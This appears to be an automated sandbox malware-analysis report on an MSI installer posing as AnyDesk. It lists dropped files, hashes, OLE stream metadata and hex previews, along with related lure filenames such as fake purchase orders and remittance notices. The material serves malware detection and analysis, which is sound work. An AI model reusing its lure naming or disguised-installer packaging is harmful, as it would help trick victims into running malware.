Joe Sandbox View:	Filename: PRODUCT_MATERIAL-REQUIREMENTS.msi, Detection: malicious, Browse Filename: PRODUCT_MATERIAL-REQUIREMENTS.msi, Detection: malicious, Browse Filename: PRODUCT_MATERIAL-REQUIREMENTS.msi, Detection: malicious, Browse Filename: C4g25X5BLy.msi, Detection: malicious, Browse Filename: Purchase_Order_Fiiled.456355.msi, Detection: malicious, Browse Filename: Remittance Advice-11833-1446506E.msi, Detection: malicious, Browse Filename: PO_34121.msi, Detection: malicious, Browse Filename: PO_34121.msi, Detection: malicious, Browse Filename: PO_2314.msi, Detection: malicious, Browse Filename: PO_2314.msi, Detection: malicious, Browse Filename: vMB3KuDaVo.msi, Detection: malicious, Browse Filename: 12543_0008858249_FWDOUTSTANDING_20200604.doc, Detection: malicious, Browse Filename: 12543_0008858249_FWDOUTSTANDING_20200604.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: SWIFT pagesa .doc, Detection: malicious, Browse Filename: SWIFT pagesa .doc, Detection: malicious, Browse Filename: SWIFT pagesa .doc, Detection: malicious, Browse Filename: T#U00dcRK#U0130YE M#U00dc#U015eTER#U0130DEN #U00d6RNEK S#U0130PAR#U0130#U015e.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..L......`...........!.....h..........K....................................................@.........................P...]............P.......................`.....................................p...@...............t............................text....f.......h.................. ..`.rdata...............l..............@..@.data....5..........................@....rsrc........P......................@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIB0A0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.513444216841171
Encrypted:	false
SSDEEP:	3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5:	4CAAA03E0B59CA60A3D34674B732B702
SHA1:	EE80C8F4684055AC8960B9720FB108BE07E1D10C
SHA-256:	D01AF2B8C692DFFB04A5A04E3CCD0D0A3B2C67C8FC45A4B68C0A065B4E64CC3D
SHA-512:	25888848871286BDD1F9C43A0FBA35640EDB5BAFBE0C6AA2F9708A070EA4E5B16745B7C4F744AE4F5643F75EF47F196D430BF70921ED27715F712825EC590A34
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..L......`...........!.....h..........K....................................................@.........................P...]............P.......................`.....................................p...@...............t............................text....f.......h.................. ..`.rdata...............l..............@..@.data....5..........................@....rsrc........P......................@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBA33.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	212992
Entropy (8bit):	6.513444216841171
Encrypted:	false
SSDEEP:	3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5:	4CAAA03E0B59CA60A3D34674B732B702
SHA1:	EE80C8F4684055AC8960B9720FB108BE07E1D10C
SHA-256:	D01AF2B8C692DFFB04A5A04E3CCD0D0A3B2C67C8FC45A4B68C0A065B4E64CC3D
SHA-512:	25888848871286BDD1F9C43A0FBA35640EDB5BAFBE0C6AA2F9708A070EA4E5B16745B7C4F744AE4F5643F75EF47F196D430BF70921ED27715F712825EC590A34
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..L......`...........!.....h..........K....................................................@.........................P...]............P.......................`.....................................p...@...............t............................text....f.......h.................. ..`.rdata...............l..............@..@.data....5..........................@....rsrc........P......................@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIED31.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.513444216841171
Encrypted:	false
SSDEEP:	3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5:	4CAAA03E0B59CA60A3D34674B732B702
SHA1:	EE80C8F4684055AC8960B9720FB108BE07E1D10C
SHA-256:	D01AF2B8C692DFFB04A5A04E3CCD0D0A3B2C67C8FC45A4B68C0A065B4E64CC3D
SHA-512:	25888848871286BDD1F9C43A0FBA35640EDB5BAFBE0C6AA2F9708A070EA4E5B16745B7C4F744AE4F5643F75EF47F196D430BF70921ED27715F712825EC590A34
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..L......`...........!.....h..........K....................................................@.........................P...]............P.......................`.....................................p...@...............t............................text....f.......h.................. ..`.rdata...............l..............@..@.data....5..........................@....rsrc........P......................@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{AC4583F8-6694-473E-BB77-32CDFC9BA940}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.160574548383438
Encrypted:	false
SSDEEP:	12:JSbX72FjEiAGiLIlHVRpgh/7777777777777777777777777vDHFv+eGB3Jpjl0G:JqiQI5o5+eOGF
MD5:	80A87B6E2D6888C84B8F90246E263EE4
SHA1:	ACB5270E5112C472F6D91B94322A8F3C8671EFB5
SHA-256:	1E86519BF9767892FC4ED05A712D90415E02B8C6B260E7556E5AF00174F0092F
SHA-512:	F98006A315B6FAA2C939A789E36EBA40860AEA58A95B845463B8B4C66B6E5C9A4978BFF4C034EB90169516B7E1F0EA458BA6CB8E68FE65148703580219D2761B
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Logs\DPX\setupact.log

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	969
Entropy (8bit):	4.316698873864823
Encrypted:	false
SSDEEP:	24:Y6mE76KbEE76KbE76KbEE76KbEE6mE6mE76KbEE76KbEE6r:YVE76KbEm6KbE76KbEm6KbE+EVE76KbY
MD5:	62DEA788F4FAC87F00521EB4D5BDE650
SHA1:	B1DE499D3485674F25810AD3B4EC35C2B79CE2B9
SHA-256:	7B341C7ED6AECCF2058AE39B62BF891D02664BC7399ED3F8B2FE0277E8E16BAA
SHA-512:	0A4AA1B760AAE3BABA90ACCA55075206794F55160B4096C1B61C4C653CD3930DACAFAC46E6E37CDA488E7BFF5797C6024D33C28B163362236DBDCB1EB0D2FB0E
Malicious:	false
Preview:	.2022-08-05 18:23:08, Info DPX Started DPX phase: Resume and Download Job..2022-08-05 18:23:08, Info DPX Started DPX phase: Apply Deltas Provided In File..2022-08-05 18:23:08, Info DPX Ended DPX phase: Apply Deltas Provided In File..2022-08-05 18:23:08, Info DPX Started DPX phase: Apply Deltas Provided In File..2022-08-05 18:23:08, Info DPX Ended DPX phase: Apply Deltas Provided In File..2022-08-05 18:23:08, Info DPX Ended DPX phase: Resume and Download Job..2022-08-05 18:23:08, Info DPX Started DPX phase: Resume and Download Job..2022-08-05 18:23:08, Info DPX Started DPX phase: Apply Deltas Provided In File..2022-08-05 18:23:08, Info DPX Ended DPX phase: Apply Deltas Provided In File..2022-08-05 18:23:08, Info DPX Ended DPX phase: Resume and Download Job..

C:\Windows\SysWOW64\log1.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.8073549220576055
Encrypted:	false
SSDEEP:	3:i1lfoN:i1lAN
MD5:	2451B91DDBC6BE55D3D1FF81E7269D71
SHA1:	70E56DBCB95AF007F3B08F86C0A22050991DDF02
SHA-256:	BF5EAAB0BE11F12556F4CEEB507DA91D8E5178BEE032C003A26070B5794774B4
SHA-512:	7B08E8E00CD20D78D84A9BA2D8C8B4E7C7804BA6D1013D886FE640A70394B1484AF2658C1A94D23EC0BCAA692E8651434BAE48B20B4A895BBB9FD3A438AEAD4F
Malicious:	false
Preview:	anydesk-ID:..0

C:\programdata\anydesk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3829888
Entropy (8bit):	7.999053982852042
Encrypted:	true
SSDEEP:	98304:nDFWG1bqjvcLIsoh5GbmkNC3dv2tthJ2/Ev6l3H:n7svcsImkN4chYECl3
MD5:	1BC5890C9E7BF54B7712E344B0AF9D04
SHA1:	78C9302C7A387A8D158F38D501784BE9B8B2716D
SHA-256:	AF61905129F377F5934B3BBF787E8D2417901858BB028F40F02200E985EE62F6
SHA-512:	7113888A8439AE5AF1B260C40229F7EBB98BDECE52EBAB0CE97137933AF4E9777D92D68166DBCF87A95CF88615452CAE7ECDF555B4785FFFE63C5783DBCB595D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L.....1b.........."..........:..^...........@....@...................................:...@..........................................p..PH...........4:..<...........................................................................................text...5(......................... ..`.itext...^...@...........................rdata..............................@..@.data.....9.......9..2..............@....rsrc...PH...p...J....9.............@..@.reloc...............0:.............@..B................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com 0.7.0.0, Subject: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com, Author: Anydesk, Keywords: Installer, Template: Intel;1033, Revision Number: {8CB27BF3-59BC-4419-BE15-E9E385453F27}, Create Time/Date: Thu Feb 18 21:32:30 2021, Last Saved Time/Date: Thu Feb 18 21:32:30 2021, Number of Pages: 200, Number of Words: 2, Name of Creating Application: MSI Wrapper (10.0.50.0), Security: 2
Entropy (8bit):	7.978539254164263
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	1.msi
File size:	4063232
MD5:	6cf5ad7a7d1b7bab0c62e246cf41a985
SHA1:	b06a03adc550ead96534f5e723395c4e16bfdf44
SHA256:	fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050
SHA512:	46cd8bd1ead75a8adb7d5bff81a2fdc04567d462e965664f6f9f796237839f07f74d2201c3da8f7f37c9dfc45749ed88708db5a216d84f7ac146e5af58a8608e
SSDEEP:	98304:pp+vXhd7YjjTcLO6KnQh5YUNa/ckQGQCWijuYAHw:+zkTciIYUNuNCAuPH
TLSH:	411633603AD8C537D2DA0636092E8BAA3A657D755F21C0DB2B587CBC5E317D3AC39342
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	a2a0b496b2caca72

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "1.msi"

Indicators

Has Summary Info:
Application Name:	MSI Wrapper (10.0.50.0)
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1252
Title:	Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com 0.7.0.0
Subject:	Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com
Author:	Anydesk
Keywords:	Installer
Template:	Intel;1033
Revion Number:	{8CB27BF3-59BC-4419-BE15-E9E385453F27}
Create Time:	2021-02-18 21:32:30
Last Saved Time:	2021-02-18 21:32:30
Number of Pages:	200
Number of Words:	2
Creating Application:	MSI Wrapper (10.0.50.0)
Security:	2

Document Summary

Document Code Page:	1251
Company:	Anydesk

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 120

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	120
Entropy:	2.826912441242884
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . H . . . . . . . . . . . ( . . . . . . 0 . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A n y d e s k .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 48 00 00 00 03 00 00 00 01 00 00 00 28 00 00 00 00 00 00 80 30 00 00 00 0f 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 e3 04 00 00 13 00 00 00 19 04 00 00 1e 00 00 00 08 00 00 00 41 6e 79 64 65 73 6b 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 528

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	528
Entropy:	4.752216684650982
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . I n s t a l l e r . . . . . . . . . . . I n t e l ; 1 0 3 3 . . . . . . ' . . . { 8 C B 2 7 B F 3 - 5 9 B C - 4 4 1 9 - B E 1 5 - E 9 E 3 8 5 4 5 3 F 2 7 } . . @ . . . . k p = . . @ . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 e0 01 00 00 0d 00 00 00 01 00 00 00 78 00 00 00 02 00 00 00 18 01 00 00 03 00 00 00 70 01 00 00 04 00 00 00 08 01 00 00 05 00 00 00 80 00 00 00 07 00 00 00 94 00 00 00 09 00 00 00 a8 00 00 00 0c 00 00 00 d8 00 00 00 0d 00 00 00 e4 00 00 00

Stream Path: \x17163\x16689\x18229\x16766\x18365\x17760\x17636\x16947\x16167\x17896\x17656\x17753\x17074\x16693\x18480, File Type: Microsoft Cabinet archive data, 3811024 bytes, 1 file, Stream Size: 3811024

General
Stream Path:	\x17163\x16689\x18229\x16766\x18365\x17760\x17636\x16947\x16167\x17896\x17656\x17753\x17074\x16693\x18480
File Type:	Microsoft Cabinet archive data, 3811024 bytes, 1 file
Stream Size:	3811024
Entropy:	7.999935868582085
Base64 Encoded:	True
Data ASCII:	M S C F . . . . & : . . . . . , . . . . . . . . . . . . . . . ~ . . H . . . v . . . . : . . . . . . . T p . i n s t a l l . e x e . . W . [ . . H . . " T # . . m . U e p . n I : . . . h < d . r ) R * + . - [ y / c 1 . x w > . " T I 1 [ ( . . . . 5 . H . . . F j . . . } } K . . O . % . o " . P j / M 2 I o t . . B / Z B k . . . . 8 . , j A r I ` r r I # ) R . . 5 ? I h . . . . . . . C L S f P $ . $ H D 4 . i q 6 . 4 . . k q . . . . . # . * . ! X . . + . C . . - p - . ' . . O d l Y E . ! . A ' . q Y % l . .
Data Raw:	4d 53 43 46 00 00 00 00 d0 26 3a 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 7e ea 00 00 48 00 00 00 76 00 03 12 00 8e 3a 00 00 00 00 00 00 00 c6 54 d7 70 20 00 69 6e 73 74 61 6c 6c 2e 65 78 65 00 b8 ea a5 05 d4 57 00 80 5b 80 80 8d 04 10 48 a9 07 00 22 54 80 23 00 00 6d 00 fe b7 55 ab 65 97 99 70 b9 1b 6e c9 49 3a 09 12 9d 11 68 3c 64 19 72 29 52 cb 2a 2b 1a 2d

Stream Path: \x17163\x16689\x18229\x16766\x18365\x17932\x17910\x17458\x16778\x17207\x17522\x17357\x18479, File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, Stream Size: 212992

General
Stream Path:	\x17163\x16689\x18229\x16766\x18365\x17932\x17910\x17458\x16778\x17207\x17522\x17357\x18479
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Stream Size:	212992
Entropy:	6.513444216841171
Base64 Encoded:	True
Data ASCII:	M Z . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ! . L ! T h i s p r o g r a m c a n n o t b e r u n i n D O S m o d e . . . . $ . . . . . . . . p p p p . p / p . . p q % p p . p . p R i c h p . . . . . . . . . . . . . . . . . . . . . . . . P E . . L . . . . ` . . . . . . . . . . ! . . . . . h . . . . . . . . . K . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . .
Data Raw:	4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00

Stream Path: \x18496\x15167\x17394\x17464\x17841, File Type: data, Stream Size: 672

General
Stream Path:	\x18496\x15167\x17394\x17464\x17841
File Type:	data
Stream Size:	672
Entropy:	4.764474142026
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . " . " . " . ) . ) . ) . * . * . * . + . + . / . / . / . / . / . / . 5 . 5 . 5 . = . = . = . = . = . M . M . M . M . M . M . M . M . \\ . \\ . a . a . a . a . a . a . a . a . o . o . r . r . r . s . s . s . t . t . w . w . w . w . w . w . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	06 00 06 00 06 00 06 00 06 00 06 00 06 00 06 00 06 00 06 00 22 00 22 00 22 00 29 00 29 00 29 00 2a 00 2a 00 2a 00 2b 00 2b 00 2f 00 2f 00 2f 00 2f 00 2f 00 2f 00 35 00 35 00 35 00 3d 00 3d 00 3d 00 3d 00 3d 00 4d 00 4d 00 4d 00 4d 00 4d 00 4d 00 4d 00 4d 00 5c 00 5c 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 6f 00 6f 00 72 00 72 00 72 00 73 00 73 00 73 00 74 00 74 00 77 00

Stream Path: \x18496\x16191\x17783\x17516\x15210\x17892\x18468, File Type: ASCII text, with very long lines, with no line terminators, Stream Size: 8546

General
Stream Path:	\x18496\x16191\x17783\x17516\x15210\x17892\x18468
File Type:	ASCII text, with very long lines, with no line terminators
Stream Size:	8546
Entropy:	5.082724064913251
Base64 Encoded:	True
Data ASCII:	N a m e T a b l e T y p e C o l u m n _ V a l i d a t i o n V a l u e N P r o p e r t y I d _ S u m m a r y I n f o r m a t i o n D e s c r i p t i o n S e t C a t e g o r y K e y C o l u m n M a x V a l u e N u l l a b l e K e y T a b l e M i n V a l u e I d e n t i f i e r N a m e o f t a b l e N a m e o f c o l u m n Y ; N W h e t h e r t h e c o l u m n i s n u l l a b l e Y M i n i m u m v a l u e a l l o w e d M a x i m u m v a l u e a l l o w e d F o r f o r e i g n k e y
Data Raw:	4e 61 6d 65 54 61 62 6c 65 54 79 70 65 43 6f 6c 75 6d 6e 5f 56 61 6c 69 64 61 74 69 6f 6e 56 61 6c 75 65 4e 50 72 6f 70 65 72 74 79 49 64 5f 53 75 6d 6d 61 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 44 65 73 63 72 69 70 74 69 6f 6e 53 65 74 43 61 74 65 67 6f 72 79 4b 65 79 43 6f 6c 75 6d 6e 4d 61 78 56 61 6c 75 65 4e 75 6c 6c 61 62 6c 65 4b 65 79 54 61 62 6c 65 4d 69 6e 56 61 6c 75 65

Stream Path: \x18496\x16191\x17783\x17516\x15978\x17586\x18479, File Type: data, Stream Size: 1216

General
Stream Path:	\x18496\x16191\x17783\x17516\x15978\x17586\x18479
File Type:	data
Stream Size:	1216
Entropy:	3.1068972075441508
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . . . . . . . . . 6 . . . $ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . B . . . . . . . . . . . . . . o . . . . . . . . . . . . . . . ' . . . . . . . . . . . . . . . ; . . . . . . . . . . . > . . . . . . . . . . . . . . . . . . ' . . . . . . . . . . . . . . . . . . . . . S . . . ^ . . . . . . . .
Data Raw:	00 00 00 00 04 00 06 00 05 00 02 00 00 00 00 00 04 00 02 00 06 00 02 00 0b 00 15 00 05 00 05 00 01 00 2c 00 0a 00 01 00 13 00 02 00 0b 00 06 00 03 00 02 00 08 00 02 00 09 00 02 00 08 00 02 00 08 00 02 00 08 00 02 00 08 00 02 00 0a 00 19 00 0d 00 01 00 0e 00 01 00 03 00 01 00 1e 00 01 00 01 00 2a 00 15 00 01 00 15 00 01 00 36 00 01 00 24 00 01 00 f5 00 01 00 0f 00 01 00 04 00 09 00

Stream Path: \x18496\x16255\x16740\x16943\x18486, File Type: data, Stream Size: 38

General
Stream Path:	\x18496\x16255\x16740\x16943\x18486
File Type:	data
Stream Size:	38
Entropy:	3.123963756721792
Base64 Encoded:	False
Data ASCII:	. . " . ) . * . + . / . 5 . = . M . \\ . a . o . r . s . t . w . . . .
Data Raw:	06 00 22 00 29 00 2a 00 2b 00 2f 00 35 00 3d 00 4d 00 5c 00 61 00 6f 00 72 00 73 00 74 00 77 00 82 00 86 00 90 00

Stream Path: \x18496\x16383\x17380\x16876\x17892\x17580\x18481, File Type: data, Stream Size: 2064

General
Stream Path:	\x18496\x16383\x17380\x16876\x17892\x17580\x18481
File Type:	data
Stream Size:	2064
Entropy:	2.381269221109181
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . " . " . " . ) . ) . ) . * . * . * . + . + . / . / . / . / . / . / . 5 . 5 . 5 . = . = . = . = . = . M . M . M . M . M . M . M . M . \\ . \\ . a . a . a . a . a . a . a . a . o . o . r . r . r . s . s . s . t . t . w . w . w . w . w . w . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . % . ' . # . % . ' . # . % . ' . . . - . % . / . 1 . 4 . 7 . : . 5 . I . K . . . # . @ . C . F . . . 4 . 7 . M . O . Q . T . V . ] . _ . ' . 7 . _
Data Raw:	06 00 06 00 06 00 06 00 06 00 06 00 06 00 06 00 06 00 06 00 0a 00 0a 00 22 00 22 00 22 00 29 00 29 00 29 00 2a 00 2a 00 2a 00 2b 00 2b 00 2f 00 2f 00 2f 00 2f 00 2f 00 2f 00 35 00 35 00 35 00 3d 00 3d 00 3d 00 3d 00 3d 00 4d 00 4d 00 4d 00 4d 00 4d 00 4d 00 4d 00 4d 00 5c 00 5c 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 6f 00 6f 00 72 00 72 00 72 00 73 00 73 00 73 00 74 00

Stream Path: \x18496\x16661\x17528\x17126\x17548\x16881\x17900\x17580\x18481, File Type: data, Stream Size: 4

General
Stream Path:	\x18496\x16661\x17528\x17126\x17548\x16881\x17900\x17580\x18481
File Type:	data
Stream Size:	4
Entropy:	1.5
Base64 Encoded:	False
Data ASCII:	. .
Data Raw:	e1 00 e2 00

Stream Path: \x18496\x16842\x17200\x15281\x16955\x17958\x16951\x16924\x17972\x17512\x16934, File Type: data, Stream Size: 48

General
Stream Path:	\x18496\x16842\x17200\x15281\x16955\x17958\x16951\x16924\x17972\x17512\x16934
File Type:	data
Stream Size:	48
Entropy:	3.0684210940655055
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . x . < .
Data Raw:	9d 00 9e 00 9f 00 a0 00 a1 00 a2 00 a3 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 78 85 dc 85 3c 8f a0 8f c8 99

Stream Path: \x18496\x16842\x17200\x16305\x16146\x17704\x16952\x16817\x18472, File Type: data, Stream Size: 24

General
Stream Path:	\x18496\x16842\x17200\x16305\x16146\x17704\x16952\x16817\x18472
File Type:	data
Stream Size:	24
Entropy:	2.594360937770434
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . .
Data Raw:	9d 00 9e 00 9f 00 a5 00 00 00 00 00 00 00 00 00 20 83 84 83 e8 83 14 85

Stream Path: \x18496\x16842\x17913\x18126\x16808\x17912\x16168\x17704\x16952\x16817\x18472, File Type: data, Stream Size: 42

General
Stream Path:	\x18496\x16842\x17913\x18126\x16808\x17912\x16168\x17704\x16952\x16817\x18472
File Type:	data
Stream Size:	42
Entropy:	2.9135675273020816
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . x . . .
Data Raw:	9d 00 9f 00 a0 00 a1 00 a4 00 a6 00 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 83 e8 83 78 85 dc 85 c8 99 9c 98 00 99

Stream Path: \x18496\x16911\x17892\x17784\x15144\x17458\x17587\x16945\x17905\x18486, File Type: data, Stream Size: 4

General
Stream Path:	\x18496\x16911\x17892\x17784\x15144\x17458\x17587\x16945\x17905\x18486
File Type:	data
Stream Size:	4
Entropy:	1.5
Base64 Encoded:	False
Data ASCII:	. .
Data Raw:	cc 00 aa 00

Stream Path: \x18496\x16911\x17892\x17784\x18472, File Type: 386 compact demand paged pure executable, Stream Size: 16

General
Stream Path:	\x18496\x16911\x17892\x17784\x18472
File Type:	386 compact demand paged pure executable
Stream Size:	16
Entropy:	1.9197367178034825
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . .
Data Raw:	cc 00 00 00 cd 00 00 00 02 80 01 80 00 00 00 80

Stream Path: \x18496\x16918\x17191\x18468, File Type: MIPSEB Ucode, Stream Size: 14

General
Stream Path:	\x18496\x16918\x17191\x18468
File Type:	MIPSEB Ucode
Stream Size:	14
Entropy:	0.946372935985442
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . .
Data Raw:	01 80 00 00 00 80 00 00 00 00 00 00 00 00

Stream Path: \x18496\x16923\x17194\x17910\x18229, File Type: data, Stream Size: 60

General
Stream Path:	\x18496\x16923\x17194\x17910\x18229
File Type:	data
Stream Size:	60
Entropy:	3.5292412679834797
Base64 Encoded:	False
Data ASCII:	. . . " . % . ( . . . . . . . . . . . . . . . . . . . # . & . ) . . . ! . $ . ' . * . . . . . .
Data Raw:	ad 00 1f 01 22 01 25 01 28 01 ff 7f ff 7f ff 7f ff 7f ff 7f 1c 01 1c 01 1c 01 1c 01 1c 01 1d 01 20 01 23 01 26 01 29 01 1e 01 21 01 24 01 27 01 2a 01 aa 00 aa 00 aa 00 aa 00 aa 00

Stream Path: \x18496\x17163\x16689\x18229, File Type: data, Stream Size: 8

General
Stream Path:	\x18496\x17163\x16689\x18229
File Type:	data
Stream Size:	8
Entropy:	1.75
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	a8 00 a9 00 01 00 01 00

Stream Path: \x18496\x17165\x16949\x17894\x17778\x18492, File Type: data, Stream Size: 18

General
Stream Path:	\x18496\x17165\x16949\x17894\x17778\x18492
File Type:	data
Stream Size:	18
Entropy:	2.102187170949333
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . .
Data Raw:	ac 00 c7 00 c9 00 c7 00 c9 00 00 00 c8 00 ca 00 cb 00

Stream Path: \x18496\x17490\x17910\x17380\x15279\x16955\x17958\x16951\x16924\x17972\x17512\x16934, File Type: data, Stream Size: 216

General
Stream Path:	\x18496\x17490\x17910\x17380\x15279\x16955\x17958\x16951\x16924\x17972\x17512\x16934
File Type:	data
Stream Size:	216
Entropy:	4.294855551942891
Base64 Encoded:	False
